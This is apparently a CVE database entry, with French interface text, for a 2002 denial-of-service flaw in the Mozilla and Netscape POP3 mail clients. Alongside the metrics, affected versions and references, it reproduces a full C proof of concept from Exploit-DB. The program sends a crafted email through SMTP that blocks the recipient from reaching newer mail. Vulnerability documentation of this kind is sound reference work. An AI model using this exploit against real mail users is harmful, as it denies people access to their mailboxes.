CVE-2002-2338 : Détail

CVE-2002-2338

A03-Injection
6.2%V3
Network
2007-10-29
19h00 +00:00
2024-09-16
20h06 +00:00
CVE.org
NVD
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Descriptions du CVE

The POP3 mail client in Mozilla 1.0 and earlier, and Netscape Communicator 4.7 and earlier, allows remote attackers to cause a denial of service (no new mail) via a mail message containing a dot (.) at a newline, which is interpreted as the end of the message.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 21539

Date de publication : 2002-06-11 22h00 +00:00
Auteur : eldre8
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/5002/info The Netscape Communicator and Mozilla browsers include support for email, and the ability to fetch mail through a POP3 server. Both products are available for a range of platforms, including Microsoft Windows and Linux. Under some circumstances, malformed email messages may prevent Netscape and Mozilla clients from accessing POP3 mailboxes. In particular, users will be unable to access more recent messages or delete the malicious email. /* this is the code that comes with my * advisory #1 to illustrate this... * eldre8 at afturgurluk (double dot minus one) org */ #include #include #include #include #include #include #include #include #define MX "localhost" #define EHLO "EHLO mx\r\n" #define MAIL "MAIL FROM: root@localhost\r\n" #define RCPT "RCPT TO: root@localhost\r\n" #define DATA "DATA\r\n" #define QUIT "QUIT\r\n" #define PORT 25 int sock; char buffer[255]; void SigCatch() { fprintf(stderr, "\b\bbye!\n"); close(sock); exit(0); } int main() { /* I was too lame to implement the command line... :) */ int i; struct sockaddr_in sout; struct hostent *hp; signal(SIGINT, SigCatch); hp=gethostbyname(MX); sock=socket(AF_INET, SOCK_STREAM, 0); if (sock<0) { perror("sock"); return -1; } sout.sin_family=AF_INET; sout.sin_port=htons(PORT); memcpy(&(sout.sin_addr), *(hp->h_addr_list), sizeof(struct in_addr)); if (connect(sock, &sout, sizeof(sout))<0) { perror("connect"); return -1; } recv(sock, buffer, 255, 0); /* receive the banner... */ send(sock, EHLO, sizeof(EHLO), 0); recv(sock, buffer, 255, 0); /* receive the welcome message... */ send(sock, MAIL, sizeof(MAIL), 0); recv(sock, buffer, 255, 0); /* receive the acknowledgement to mail from. */ send(sock, RCPT, sizeof(RCPT), 0); recv(sock, buffer, 255, 0); /* idem, but for the rcpt to... */ send(sock, DATA, sizeof(DATA), 0); recv(sock, buffer, 255, 0); i=sprintf(buffer, "b4d maIl 1n 4KT1oN!\n\x0a\x0d\x2e\x0d\x20\x0a\x0a\nblabla...\x0a\x20"); *(buffer+i)="\x0"; sprintf(buffer+i+1, "\n.\n"); send(sock, buffer, i+1+3, 0); /* send the dumb thing ... */ recv(sock, buffer, 255, 0); send(sock, QUIT, sizeof(QUIT), 0); recv(sock, buffer, 255, 0); close(sock); return 0; }

Products Mentioned

Configuraton 0

Mozilla>>Mozilla >> Version 0.9.2

Mozilla>>Mozilla >> Version 0.9.2.1

Mozilla>>Mozilla >> Version 0.9.3

Mozilla>>Mozilla >> Version 0.9.4

Mozilla>>Mozilla >> Version 0.9.4.1

Mozilla>>Mozilla >> Version 0.9.5

Mozilla>>Mozilla >> Version 0.9.6

Mozilla>>Mozilla >> Version 0.9.7

Mozilla>>Mozilla >> Version 0.9.8

Mozilla>>Mozilla >> Version 0.9.9

Mozilla>>Mozilla >> Version 1.0

Mozilla>>Mozilla >> Version 1.0

    Mozilla>>Mozilla >> Version 1.0

      Netscape>>Communicator >> Version 4.0

      Netscape>>Communicator >> Version 4.4

      Netscape>>Communicator >> Version 4.5

      Netscape>>Communicator >> Version 4.06

      Netscape>>Communicator >> Version 4.6

      Netscape>>Communicator >> Version 4.07

      Netscape>>Communicator >> Version 4.7

      Netscape>>Communicator >> Version 4.08

      Netscape>>Communicator >> Version 4.51

      Netscape>>Communicator >> Version 4.61

      Netscape>>Communicator >> Version 4.72

      Netscape>>Communicator >> Version 4.73

      Netscape>>Communicator >> Version 4.74

      Netscape>>Communicator >> Version 4.75

      Netscape>>Communicator >> Version 4.76

      Netscape>>Communicator >> Version 4.77

      Netscape>>Navigator >> Version 6.0

      Netscape>>Navigator >> Version 6.0

        Netscape>>Navigator >> Version 6.01

        Netscape>>Navigator >> Version 6.1

        Netscape>>Navigator >> Version 6.2

        Netscape>>Navigator >> Version 6.2.1

        Netscape>>Navigator >> Version 6.2.2

        Références

        http://www.securityfocus.com/archive/1/276946
        Tags : mailing-list, x_refsource_BUGTRAQ
        http://online.securityfocus.com/archive/1/276628
        Tags : mailing-list, x_refsource_BUGTRAQ
        http://www.securityfocus.com/bid/5002
        Tags : vdb-entry, x_refsource_BID